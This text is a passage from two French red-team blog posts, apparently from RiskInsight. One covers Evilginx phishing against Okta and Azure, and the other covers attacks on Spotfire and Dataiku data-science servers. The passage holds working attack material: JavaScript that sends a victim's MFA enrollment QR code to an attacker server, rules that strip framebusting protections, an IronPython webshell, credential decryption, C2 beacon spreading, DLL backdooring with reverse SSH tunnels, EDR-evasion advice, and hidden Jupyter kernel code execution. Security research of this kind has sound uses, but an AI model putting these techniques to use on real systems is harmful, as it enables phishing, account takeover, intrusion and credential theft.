              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})
            }).then(()=>{
              document.location='{redirect_server}'
            }).catch(()=>{
              document.location='{redirect_server}'
            })

            clearInterval(myInterval)
        }
      }
      var a = false
      var b = false
      var myInterval = setInterval(function(){u720dhfn2()}, 10)

Une fois que l’utilisateur a validé l’authentification MFA, le script repère le QR Code affiché et l’exfiltre via une requête HTTP.

L’attaquant peut alors récupérer ce QR Code et enregistrer son propre appareil.

Aller plus loin

Okta avec l’authentification Azure

Certaines entreprises associent deux fournisseurs d’identité (IdP) : Okta redirige vers Azure et crée automatiquement le compte utilisateur lors de la première connexion.

Cette configuration est particulièrement intéressante pour un attaquant, car elle lui permet d’exfiltrer les sessions Azure et Okta à l’aide d’un seul phishing.

Pour ce faire, les deux phislets précédents doivent être fusionnés afin de capturer les deux processus d’authentification. L’essentiel est de s’assurer qu’Okta redirige vers le domaine Azure Evilginx, et non vers login.microsoftonline.com.

Heureusement, cette redirection est effectuée via un formulaire HTML en clair qui est soumis automatiquement dans la réponse d’Okta :

<form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST">[...]</form>

Comme le domaine Azure est codé en dur dans le HTML, Evilginx peut le remplacer

De même, une fois l’authentification terminée chez Microsoft, la redirection vers Okta peut être interceptée, et Evilginx peut substituer le domaine Okta réel par son équivalent malveillant, permettant ainsi la récupération du cookie de session Azure.

En résumé, dans cette configuration spécifique, il est possible de simplement fusionner les deux phislets précédents.

Frame buster

De plus en plus d’utilisateurs vérifient l’URL d’authentification avant de saisir leurs identifiants. Pour contourner cette vérification, il est possible d’utiliser la technique dite du “Browser-in-Browser”.

L’idée est d’intégrer l’application de phishing dans une iframe et de construire une fausse interface ressemblant à une fenêtre Chrome autour de cette iframe, afin de faire passer cette dernière pour une pop-up légitime.

Étant donné que l’apparence de la fenêtre est entièrement recréée, il devient possible d’y afficher une fausse adresse. Dans la figure ci-dessous, un formulaire Google est intégré via une iframe mais donne l’impression d’une véritable pop-up:

Le principal problème ici est que la plupart des formulaires d’authentification des fournisseurs d’identité (IdP) mettent en œuvre plusieurs techniques pour empêcher leur intégration dans une iframe. Ces techniques sont appelées framebusters.

Bien qu’Okta ne semble pas appliquer de telles protections, le formulaire d’authentification d’Azure contient de nombreuses fonctionnalités qui cesseraient de fonctionner s’il était intégré dans une iframe.

Self == top

La technique de framebuster la plus simple consiste à vérifier si la frame actuelle est la frame principale (top frame), ce que Microsoft implémente. Si le formulaire d’authentification détecte qu’il n’est pas affiché dans la frame principale, il refuse de s’afficher.

Avec Evilginx, il est possible de désactiver cette vérification à l’aide d’un simple modèle de correspondance et de remplacement (match & replace) :

Replace: if(e.self===e.top){
By: if(true){window.oldself=e.self;e.self=e.top;

Cette modification permet de faire passer l’iframe pour la frame principale (top frame), contournant ainsi la protection.

Target=”_top”

La technique suivante consiste à forcer la soumission du formulaire à rediriger la top frame. Ainsi, si le formulaire est soumis dans une iframe, la redirection s’appliquera non seulement à cette iframe, mais à toute la page, ce qui casse l’effet “Browser-in-Browser”.

Cela peut être réalisé en ajoutant l’attribut target= »_top » au formulaire. Il est ensuite possible de désactiver cette protection avec Evilginx :

Replace: method="post" target="_top"
By: method="post"

Framework specific

Microsoft utilise un framework spécifique pour ses applications. Ce framework n’implémente pas à proprement parler de techniques de framebusting, mais son fonctionnement interne rend son intégration dans une iframe particulièrement complexe.

Une des limitations principales apparaît au moment où le framework tente d’envoyer des données à une URL construite à partir du domaine de la top frame. Ainsi, au lieu d’envoyer les données à login.evilginx.com, elles sont envoyées à my-phishing-app.com, ce qui interrompt complètement le processus d’authentification.

Pour modifier cette adresse, il n’est pas possible de simplement remplacer le domaine par celui du site de phishing comme cela a été fait précédemment. Il est nécessaire de comprendre le fonctionnement du framework afin de modifier manuellement cette valeur au niveau de l’élément racine :

Replace: autoSubmit: forceSubmit, attr: { action: postUrl }
By: autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}

HTTP header

La dernière technique de framebusting repose sur l’en-tête HTTP X-Frame-Options: DENY, qui indique au navigateur que l’application ne peut pas être affichée dans une iframe.

Il est possible de supprimer cet en-tête à l’aide d’Evilginx :

Replace: X-Frame-Options: DENY
By: Test: Test

Final phishlet

The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:

• Retrieve the Azure credentials
• Retrieve the Azure cookies
• Retrieve the Okta cookies
• Retrieve the MFA enrollment QRCode for Okta

La vidéo suivante présente un exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure. Lors d’un seul et unique phishing, l’attaquant est capable de :

• Récupérer les identifiants Azure
• Récupérer les cookies de session Azure
• Récupérer les cookies Okta
• Récupérer le QR Code d’enrôlement MFA pour Okta

Exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure

L’évolution des techniques de phishing, illustrée par des outils tels qu’Evilginx, révèle une transformation significative des menaces informatiques : il ne s’agit plus uniquement d’exfiltrer des identifiants, mais de détourner des sessions authentifiées dans leur intégralité. En adoptant une posture d’« homme du milieu » (Adversary-in-the-Middle, AiTM), Evilginx est en mesure d’intercepter et de manipuler les échanges entre l’utilisateur et les services légitimes, contournant ainsi les mécanismes traditionnels d’authentification multifacteur (MFA).

Cette capacité ne constitue toutefois qu’un aperçu des possibilités offertes par l’outil. Evilginx peut être ajusté pour automatiser des actions critiques telles que l’enregistrement d’un dispositif MFA, contourner des protections comme les framebusters et garantir un accès persistant à la session utilisateur.

La seule mesure réellement efficace pour réduire les attaques par phishing consiste à déployer des mécanismes d’authentification multifacteur résistants au phishing, tels que les clés FIDO, au minimum pour les comptes administrateurs.

Cet article Phishing : Evilginx poussé à ses limites est apparu en premier sur RiskInsight.

1. Vue d’ensemble

Dans un système d’information, les applications ne sont pas égales. Certaines d’entre elles peuvent être utilisées comme un point d’entrée du système d’information, d’autres comme accélérateurs de compromission, et d’autres sont gardées pour la post-exploitation. Ces applications sont appelées des cibles à hautes valeurs.

Par exemple, durant une attaque habituelle, l’application développée en interne va être ciblée en premier car elle offre une surface d’attaque importante et permet souvent de l’exécution de code distant sur les serveurs joints au domaine. Les infrastructures CICD sont exploitées pour facilement rebondir sur le réseau interne à travers l’infection de la pipeline CICD ou la découverte de secrets supplémentaires. L’ADCS est fortement sollicité pour accélérer la compromission du domaine à travers l’ensemble des vulnérabilités ESCXX.

La typologie des applications dans chaque catégorie est restée la même depuis plusieurs années, même si de nouveaux concurrents sont apparus au fil du temps, tels que l’application SCCM, la console EDR, etc. Cependant, étant donné que les mêmes techniques sont utilisées depuis plusieurs années, les entreprises ont commencé à sécuriser ces éléments, rendant leur compromission et leur exploitation plus difficiles.

Il est temps d’explorer de nouveaux horizons et renouveler ces anciennes pratiques avec un nouvel ensemble d’applications.

Dans cet article, nous allons regarder les applications de DataScience. Avec l’essor du BigData, de plus en plus d’entreprises intègrent une infrastructure de DataScience à leur système d’information. Nous verrons comment ces applications peuvent être exploitées pour :

• Réaliser une exécution de code à distance
• Faire des mouvements latéraux sur le réseau interne
• La diffusion de logiciels malveillants parmi les utilisateurs
• Faciliter la persistance des accès
• Exploiter le Datalake pour le datamining

2. Accès initial sur l’application de DataScience

Il existe de nombreuses applications DataScience différentes. Dans cet article nous nous concentrerons principalement sur les applications Spotfire et Dataiku car ce sont soit les plus populaires, soit qui ont le vent en poupe.

La DataScience étant encore nouvelle dans les entreprises, ces applications sont souvent déployées et maintenues par le métier et non par la DSI.

Disposer d’une application hors du processus informatique standard (Shadow IT) est souvent intéressant pour un attaquant. En effet, lorsqu’une application est mise en place en dehors du processus informatique standard, elle ne met souvent pas en œuvre les règles de sécurité standards imposées par l’entreprise. Ainsi, vous verrez sûrement :

• Des applications exposées directement sur internet sans protections supplémentaire
• Des applications non installées dans une DMZ spécifique avec un accès direct au réseau interne
• Des applicaitons avec une authentification locale au lieu du méchanisme d’authentification global de l’entreprise
• Un manque de durcissement du processus de déploiement et un manque de déploiement de correctifs de sécurité

Ces points peuvent sembler sans importance, mais leur accumulation conduit à la possibilité d’accéder à ces applications directement depuis Internet avec des informations d’identification non sécurisées, par défaut et toujours valides ou via un contournement d’authentification corrigé il y a quelques années mais jamais mise en place car l’entreprise ne le sait pas ou même ne s’en soucie…

3. DataScience en tant que RCE as a service

3.1. Pourquoi utiliser une application de datascience

Avant d’entrer dans le coeur du sujet, prenons un peu de temps pour discuter de l’intérêt et du cas d’utilisation de l’application de datascience.

Prenons comme exemple une entreprise qui vend plusieurs types de produits comme Amazon ou n’importe quelle marketplace. Cette société souhaite voir en temps réel les produits tendances en fonction de certaines caractéristiques des utilisateurs collectées par les analyses de leur site Web.

Ils peuvent utiliser un fichier Excel et essayer d’utiliser les fonctionnalités Excel VBA pour créer des graphiques et des tendances, mais il serait très pénible d’importer manuellement toutes les données dans le fichier Excel et pour une entreprise comptant des millions de clients, Excel plantera probablement à chaque fois que quelqu’un éternue à côté.

Pour résoudre ce problème, l’entreprise a commencé à stocker ses données analytiques dans une base de données qui sera appelée datalake. Ensuite, lorsque quelqu’un souhaite créer un joli rapport, il crée un script python qui se connecte à la base de données, récupère les données pertinentes, les traite via numpy ou panda et utilise matplotlib pour dessiner le graphique et les tendances. C’est bien mieux, l’application peut évoluer, est plus stable mais elle demande des compétences techniques en matière de script donc l’entreprise ne peut pas l’utiliser seule.

La société décide donc de développer une jolie interface pour envelopper tout le script Python derrière une belle interface utilisateur que tout le monde peut utiliser. Les utilisateurs peuvent se connecter à l’application, choisir les données à importer, les traiter et dessiner des graphiques sans écrire une seule ligne de code.

Ils ont juste créé leur première application de datascience.

Aujourd’hui, les entreprises n’investiront probablement pas plusieurs mois de développement sur ce type de configuration. Ils préfèrent acheter une application commerciale tout-en-un. Parmi ces applications figurent Spotfire et Dataiku.

3.2. Où est ma RCE?

Une application Datascience peut être résumée comme une simple interface pour les scripts de traitement de données. Et parfois, les fonctions intégrées ne suffisent pas, ils exposent donc l’accès à leur moteur de script pour permettre aux développeurs de créer un script personnalisé pouvant être entièrement intégré à l’environnement et utilisé par l’entreprise.

3.2.1. Spotfire

Infrastructure Spotfire basique

Quand déployé tel quel, l’infrastructure Spotfire ressemble au schéma suivant:

Figure 1: Basic Spotfire infrastructure

L’utilisateur se connecte à une WebUI exposée par Spotfire WebPlayer ou via un client lourd Spotfire dédié directement depuis son poste de travail et accède à son rapport stocké sur le serveur Spotfire. Une fois les rapports ouverts, ils contactent le serveur Spotfire pour récupérer les données et exécuter le script de nettoyage des données.

Execution de code distant

Spotfire permet, de par sa conception, l’exécution d’un script R, mais l’exécution d’un script Python peut être facilement activée en chargeant le module de script IronPython.

Dans tous les cas, les utilisateurs peuvent exécuter des scripts directement depuis Spotfire WebPlayer ou le client lourd. Cependant, ils ne peuvent modifier ou créer des scripts qu’à partir du client lourd Spotfire.

Depuis le client lourd, il est possible de créer un nouveau projet. A l’intérieur du projet, il est possible de créer une UI. Créons un webshell Spotfire.

Tout d’abord, nous allons créer l’UI. Il sera composé d’une textarea pour taper la commande, une autre textarea pour afficher le résultat de la commande et un bouton pour envoyer la commande :

Figure 2: UI webshell finale

Une fois le projet créé, nous créons une nouvelle page vide. Lorsqu’une page vide est créée, Spotfire demande si l’on souhaite commencer par des données, une visualisation ou autre :

Figure 3: nouvelle page Spotfire

Nous choisirons “Start from Visualizations” et choisirons le type de visualisation “Text area”. Cela devrait afficher une page entièrement vierge:

Figure 4: nouvelle textarea de Spotfire

Ce textarea va contenir l’ensemble du contrôle d’entrée du webshell. Créons une nouvelle textarea pour le résultat:

Figure 5: seconde textarea de Spotfire

Désormais, nous pouvons cliquer sur “Edit Text Area” en haut de la première zone de texte. Cela va permettre la customisation du contenu de la zone de texte.

Ajoutons d’abord un contrôle d’entrée qui servira à taper la commande à envoyer au serveur :

Figure 6: modification de la zone de texte

Nous allons lier la valeur du contrôle à une propriété du document pour pouvoir l’utiliser avec notre futur script python. Nous pouvons créer une nouvelle propriété appelée Input avec le type de données String :

Figure 7: Lier le contrôle au champ de saisie

Ensuite, créons un contrôle d’action en cliquant sur le bouton “Insert Action Control” en haut de la fenêtre Edit Text Area. Cliquons sur Script et choisissons le bouton de type contrôle. Ensuite, nous pouvons créer un nouveau script IronPython:

Figure 8: ajout du bouton

Remplissez le contenu du script avec le code suivant :

from Spotfire.Dxp.Application.Visuals import *
from System.IO import *
from System.Drawing import *
from System.Drawing.Imaging import *
from System.Text.RegularExpressions import *
import subprocess
vis=visual.As[HtmlTextArea]()
if 'clean!' in com:
    vis.HtmlContent = ''
else:
    try:
        vis.HtmlContent = "Executing {}".format(com)
        process = subprocess.Popen(com.split(" "), stdout=subprocess.PIPE)
        output, _ = process.communicate()
        vis.HtmlContent='<br>'.join(output.split('\n'))
    except Exception as e:
        vis.HtmlContent="{}".format(e)

Ce code charge un ensemble de bibliothèques Spotfire utilisées pour communiquer avec l’interface utilisateur. La variable “visual” représente la zone de texte utilisée pour afficher le résultat. La variable “com” contient la valeur du lien de propriété avec notre champ de saisie créé.

Le script exécute la commande stockée dans le “com” et écrit le résultat sur l’élément UI pointé par la variable “visual”.

Maintenant, nous devons lier les variables “visual” et “com” aux différents éléments du projet. Dans le tableau “Script parameters” , ajoutez un nouveau paramètre :

Figure 9: Lier le paramètre visual

Faisons la même chose pour le paramètre com:

Figure 10: Lier le parameter com

Désormais, lorsque le script sera exécuté, il liera automatiquement le paramètre visual au panneau textarea utilisé pour afficher le résultat et le paramètre com au contenu de la propriété Input créée lors de la définition du champ de saisie.

Sauvegardons le tout. Félicitations, nous avons un webshell fonctionnel:

Figure 11: Webshell final

S’il est exécuté directement depuis le client lourd, le code ne sera exécuté qu’en local, ce n’est donc pas vraiment intéressant. Cependant, si le code est exécuté directement depuis le Spotfire Webplayer, il sera exécuté sur le serveur Spotfire, entraînant une exécution de code à distance sur le serveur.

3.2.2. Dataiku

L’exécution de code à distance sur Dataiku est plus simple. En effet, Dataiku embarque directement des fonctionnalités de type notebook Jupyter.

En créant un nouveau projet Jupyter, il est possible d’exécuter directement la commande sur le serveur comme le montre la figure suivante :

Figure 12: Execution de code avec Dataiku

3.2.3. Considération OPSEC

On peut dire que la génération d’un processus Python en tant que processus enfant pour Spotfire ou Dataiku entraînera une détection directe par l’EDR. Cependant, nous devons garder à l’esprit que la création d’un processus Python est un comportement légitime pour le processus Spotfire ou Dataiku.

Cependant, si vous commencez à générer cmd.exe directement à partir du script Python, oui, cela pourrait conduire à une détection directe. Mais python est connu pour être suspect par défaut et l’EDR est un peu plus détendu sur les actions effectuées par un processus python en raison de plusieurs faux positifs.

Donc, en un mot, la génération du processus python ne devrait conduire à aucune détection spécifique, mais vous devez faire attention au script que vous exécuterez à partir de celui-ci.

4. Récolte des identifiants

Avoir une RCE sur un serveur, c’est toujours intéressant, mais il vaut mieux savoir ce qu’on peut en faire. Tout d’abord, si vous avez obtenu la RCE sur un ordinateur joint au domaine, vous disposez d’un accès authentifié au domaine, et lorsque vous venez directement depuis Internet, c’est la cerise sur le gâteau.

La spécificité des applications de datascience est qu’elles sont connectées au datalake. Ces connexions peuvent être des connexions SQL standard, mais elles peuvent également être des connexions à des datalake cloud tels qu’AWS.

Ayant une RCE sur le serveur, vous pouvez généralement accéder à toutes les informations d’identification stockées dans l’application.

4.1. Exemple avec Dataiku

Sur Dataiku, les secrets sont stockés dans le dossier DATA_DIR/config :

Figure 13: Fichiers de configuration de dataiku

Users.json contient la base de données utilisateur de dataiku. Vous pouvez l’utiliser pour créer un nouvel utilisateur administrateur et conserver la persistance sur l’environnement.

Le fichier connections.json contient tous les identifiants pour accéder aux datalakes. Cependant, les mots de passe sont stockés chiffrés :

Figure 14: Mots de passe chiffrés

Heureusement, Dataiku fournit un outil pour décrypter ces informations d’identification :

Figure 15: Déchiffrement du mot de passe Dataiku

Vous pouvez désormais utiliser ces informations d’identification pour accéder à la base de données distante ou directement sur le cloud si elles utilisent AWS Datalake ou des bases de données stockées sur AWS.

Enfin, le compte Dataiku utilisé pour exécuter l’instance Dataiku dispose de tous les privilèges sur les données de l’instance Dataiku. Vous pouvez alors simplement récupérer toutes les données du projet.

5. Propagation parmi les utilisateurs

Cette partie s’applique uniquement à Spotfire car Dataiku ne fournit pas de client lourd et cette exploitation repose sur le fait que l’utilisateur exécutera du code sur son poste de travail et non sur le serveur distant.

5.1. Infecter d’autres utilisateurs

Les scripts intégrés dans l’analyse doivent être de confiance pour pouvoir être exécutés par d’autres utilisateurs. Ce processus de confiance est effectué via des utilisateurs Spotfire dotés de droits spécifiques. Avec l’exécution de code à distance sur l’instance Spotfire, il est possible de créer directement un nouvel utilisateur administrateur. Cependant, en raison de la gestion non sécurisée des utilisateurs par les équipes métiers, tous les utilisateurs disposent généralement des privilèges nécessaires pour faire confiance aux scripts.

Afin de compromettre les utilisateurs, l’application Spotfire peut être utilisée comme une infrastructure de command and control.

Lorsque l’utilisateur ouvre un fichier d’analyse depuis son client lourd, le fichier est téléchargé localement, et tous les scripts contenus sur le projet sont exécutés localement sur le poste de l’utilisateur.

Figure 16: Vision macro de l’infrastructure C2 du Spotfire

Cette feuille d’analyse a été infectée via un script JS. Une fois ouvert par l’utilisateur, le code JavaScript sera exécuté conduisant à l’exécution d’un script python final contenant la balise C2.

Cela peut être fait en ajoutant dans n’importe quelle page du projet un nouveau bouton qui déclenchera le runtime python C2. Le bouton peut être configuré pour avoir une taille de 1 px, ce qui le rend invisible. Ensuite, un script JS peut être ajouté pour cliquer automatiquement sur le bouton de manière régulière (toutes les 30 secondes par exemple).

Tant que le fichier d’analyse est ouvert, le code JavaScript appellera le script python C2 toutes les 30 secondes, permettant l’exécution d’un script python arbitraire et d’une commande du système d’exploitation sur l’ordinateur de l’utilisateur.

Figure 17: Vision bas niveau du fichier d’analyse infecté

La seule limitation est que le JS ne sera déclenché que si l’utilisateur ouvre la page infectée spécifique. Cela peut être contourné en redirigeant l’utilisateur vers la page d’analyse malveillante lorsqu’il l’ouvre.

Lorsque l’utilisateur ouvre l’analyse infectée, celle-ci déclenche automatiquement une fonction de données (qui est différente d’un script).

Les datafunction sont des fonctions exécutées à l’ouverture du projet. Cependant, leur sous-ensemble de fonctionnalités est limité. Ils ne peuvent pas exécuter régulièrement un script Python important.

Cette fonction de données est configurée pour mettre à jour une propriété de document aléatoire. Spotfire permet de configurer des hooks de script sur les propriétés modifiées. Ainsi, lorsque la propriété est modifiée par la fonction data, cela déclenchera un script IronPython qui affichera une feuille d’analyse spécifique à l’utilisateur.

Une fois la feuille d’analyse infectée focalisée, elle démarrera la balise python C2 de manière régulière via le script JS comme expliqué précédemment :

Figure 18: process de lancement automatique du C2

Lorsque ce C2 sera déployé, il restera actif tant que l’analyse infectée restera ouverte sur le poste de l’utilisateur.

La figure suivante montre la compromission d’un poste utilisateur et l’exécution d’un script python distant récupéré par la balise python :

Figure 19: execution de commande sur le poste utilisateur

Afin de compromettre un maximum d’utilisateurs, il est possible d’infecter plusieurs projets et d’attendre que les utilisateurs cliquent dessus.

Habituellement, les entreprises stockent des modèles de projet spécifiques quelque part sur le serveur Spotfire. Si vous les trouvez, vous infecterez automatiquement tous les projets basés sur ce modèle.

5.2. Etendre le temps de compromission

Ce processus C2 est intéressant mais se termine lorsque l’utilisateur ferme l’analyse infectée. Afin d’avoir un accès plus persistant à l’ordinateur de l’utilisateur, le processus C2 est migré de Spotfire vers une autre instance Python sur l’ordinateur de l’utilisateur.

En effet, lorsque Spotfire est installé, il installe également un interpréteur python brut. Grâce au C2 initial, il est possible, via l’exécution de commandes du système d’exploitation, d’écrire une autre balise C2 sur le système de fichiers utilisateur et de déclencher son exécution par l’interpréteur python brut.

Figure 20: C2 sans les restrictions Spotfire

Cette fois, même si l’analyse infectée est fermée, le processus python ne sera pas terminé car il n’est plus lié à Spotfire, accordant à l’attaquant un accès persistant à l’ordinateur de l’utilisateur tant qu’aucun redémarrage n’est effectué.

5.3. Persistance d’accès

5.3.1. DLL Hijacking

Grâce à la balise C2, il est possible de générer des reverse socks SSH. Les reverse socks SSH suffisent pour accéder au réseau interne, cependant, elles seront terminées lorsque l’ordinateur de l’utilisateur sera arrêté et ne seront remontées que lorsque l’utilisateur rouvrira une analyse infectée et déclenchera à nouveau l’exécution de la balise C2.

Afin d’obtenir de la persistance et de garantir que les socks seront remontées même si l’ordinateur de l’utilisateur est redémarré, certaines modifications des fichiers d’application peuvent être effectuées sur le poste de travail de l’utilisateur.

Les utilisateurs compromis via la balise Spotfire sont des analystes de données et Spotfire est leur principal outil et plus probablement la première application qu’ils exécutent lorsqu’ils allument leur ordinateur.

Le client lourd Spotfire est développé en C#. Ses DLL peuvent être facilement inversées et elles sont stockées dans le dossier utilisateur APPDATA. Ainsi, avec un simple accès à la session utilisateur, il est possible de modifier ces DLL sans avoir besoin d’une élévation de privilèges spécifique. A l’aide de SysInternals Procmon.exe, on retrouve la liste des DLL chargées par Spotfire. Ensuite, l’une de ces DLL fait l’objet d’une ingénierie inverse et est infectée, comme le montre la figure suivante :

Figure 21: DNSpy montrant la DLL modifiée

Le code malveillant injecté créera un nouveau processus SSH montant une nouvelle reverse sock SSH au démarrage de Spotfire.

La DLL est recompilée et téléchargée sur chaque poste de travail utilisateur compromis et la balise C2 est modifiée pour exécuter cette action lorsqu’elle détecte un nouveau rappel utilisateur.

5.3.2. Considération OPSEC

Bien qu’elle ressemble à du DLL hijacking, cette technique est difficilement détectable par un EDR car la DLL d’origine n’a pas été échangée par un logiciel malveillant comme dans le DLL hijacking ou le DLL proxying. La DLL exécutée par Spotfire est celle d’origine recompilée avec un code supplémentaire engendrant un nouveau processus.

Comme la DLL Spotfire d’origine n’est pas signée, l’EDR ne peut pas détecter la modification.

5.3.3. Résilience

Pour éviter d’être bloqué via une règle de pare-feu si l’adresse IP des socks est sur liste noire, le code malveillant implanté dans la DLL Spotfire ne contient pas d’adresse IP distante, de port et de clé SSH codés en dur, à chaque fois qu’il récupère ces informations à partir d’un serveur distant différent.

Ainsi, même si le SOC met sur liste noire l’adresse IP SOCKS, il est possible de modifier à distance l’adresse IP de destination SOCKS sans avoir besoin d’un accès direct aux ordinateurs des utilisateurs compromis.

6. Se cacher à la vue de tous

L’application Dataiku peut être utilisée pour masquer l’exécution de commandes malveillantes et faire croire qu’elle a été effectuée par un autre utilisateur.

6.1. Intégration Jupyter dans Dataiku

Comme dit précédemment, Dataiku expose une application de type Jupyter. En examinant le code Dataiku et les différents processus exécutés par l’instance DSS, cela montre que Dataiku n’a pas redéveloppé des applications de type Jupyter, mais a simplement exécuté une instance Jupyter Notebook complète en arrière-plan :

Figure 22: serveur Jupyter sur le port 11002

Une simple redirection de port accorde l’accès à l’instance Jupyter :

Figure 23: instance Jupyter

Lors de l’exécution d’une cellule Jupyter, il est possible, en effectuant une capture réseau, de voir la communication TCP entre l’instance Dataiku et le backend Jupyter :

Figure 24: paquet TCP

Cela montre que l’instance Dataiku expose pleinement le noyau Jupyter et une enquête supplémentaire montre que le TOKEN API utilisé par Dataiku pour communiquer avec le backend Jupyter est le même quel que soit le notebook Jupyter chargé.

Ainsi, tout utilisateur ayant accès à la fonctionnalité Jupyter Notebook est capable d’exécuter du code sur n’importe quel noyau Jupyter chargé tant qu’il dispose de l’ID du noyau. Heureusement, les identifiants des noyaux sont affichés dans les lignes de commande du processus. Ainsi, le code suivant peut être utilisé pour récupérer tous les identifiants du noyau :

Figure 25: recuperation de l’ID Kernel

6.2. Obfusquer la requête d’exécution

Une fois l’identifiant du noyau récupéré, il est possible de créer une session sur le noyau :

GET /jupyter/api/kernels/0ab25b8f-1714-4bc9-8449-c09faf5c2e29/channels?session_id=c8c6a227ea3c465c82e39c403ba705a18 HTTP/1.1
Host: 10.125.3.111:11000
<SNIP>
Origin: http://10.125.3.111:11000
Sec-WebSocket-Key: obLqAtXNc/KxMJOp27qxIQ==
Connection: keep-alive, Upgrade
Cookie: <SNIP>
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

Cette requête créera un websocket pour communiquer avec le noyau Jupyter. Aucun contrôle d’accès spécifique n’est effectué sur ce point de terminaison. Tant que vous êtes autorisé à exécuter n’importe quel notebook Jupyter, vous pouvez vous connecter à n’importe quel noyau Jupyter même si vous ne pouvez pas accéder au notebook à l’aide de l’interface utilisateur.

Il est alors possible d’utiliser le websocket pour envoyer une commande à exécuter au noyau python :

{
  "header": {
    "msg_id": "ef46ce660d49457c890ce550420ed921",
    "username": "username",
    "session": "f4fe997b336f4a019c4c6837df699d30",
    "msg_type": "execute_request",
    "version": "5.2"
  },
  "metadata": {},
  "content": {
    "code": "print('test')",
    "silent": false,
    "store_history": true,
    "user_expressions": {},
    "allow_stdin": true,
    "stop_on_error": true
  },
  "buffers": [],
  "parent_header": {},
  "channel": "shell"
}

Ce qui est intéressant, c’est que la commande est exécutée, mais n’est enregistrée dans aucune cellule Jupyter, ce qui conduit à une exécution de commande invisible tant que le noyau est vivant.

De plus, si vous modifiez la valeur d’une variable spécifique, elle sera persistante. Donc, si vous envoyez la commande python :

def hijacked_print(value):
    import sys
    process = subprocess.Popen(‘YOUR BEACON’, stdout=subprocess.PIPE, shell=False)
    sys.stdout.write('hijacked print: {}'.format(value))


print = hijacked_print

La balise sera exécutée lorsqu’un utilisateur utilise la commande print et comme l’exécution précédente de Python n’a laissé aucune trace, bonne chance pour la détecter et trouver quel utilisateur a été compromis.

7. Conclusion

Les applications de science des données sont utiles à n’importe quelle étape de la killchain. Pour un attaquant distant, ils peuvent être utilisés comme point d’entrée initial sur le système d’information, ils peuvent être exploités pour trouver des informations d’identification stockées de manière non sécurisée afin de rebondir sur le système d’information, leurs capacités de script peuvent être utilisées pour diffuser une balise malveillante entre plusieurs utilisateurs et les données qu’ils contiennent peuvent être facilement volées et exfiltrées.

Ces applications sont sapées soit par les attaquants, soit par le service informatique. Une simple compromission de l’une de ces applications peut avoir un impact considérable sur l’ensemble du système d’information.

Il est temps que l’infosec commence à intégrer le mot à la mode comme le BigData et l’apprentissage automatique dans la killchain, l’attaquant l’a déjà fait…

Cet article DataScience pour la RedTeam: Etendre sa surface d’attaque est apparu en premier sur RiskInsight.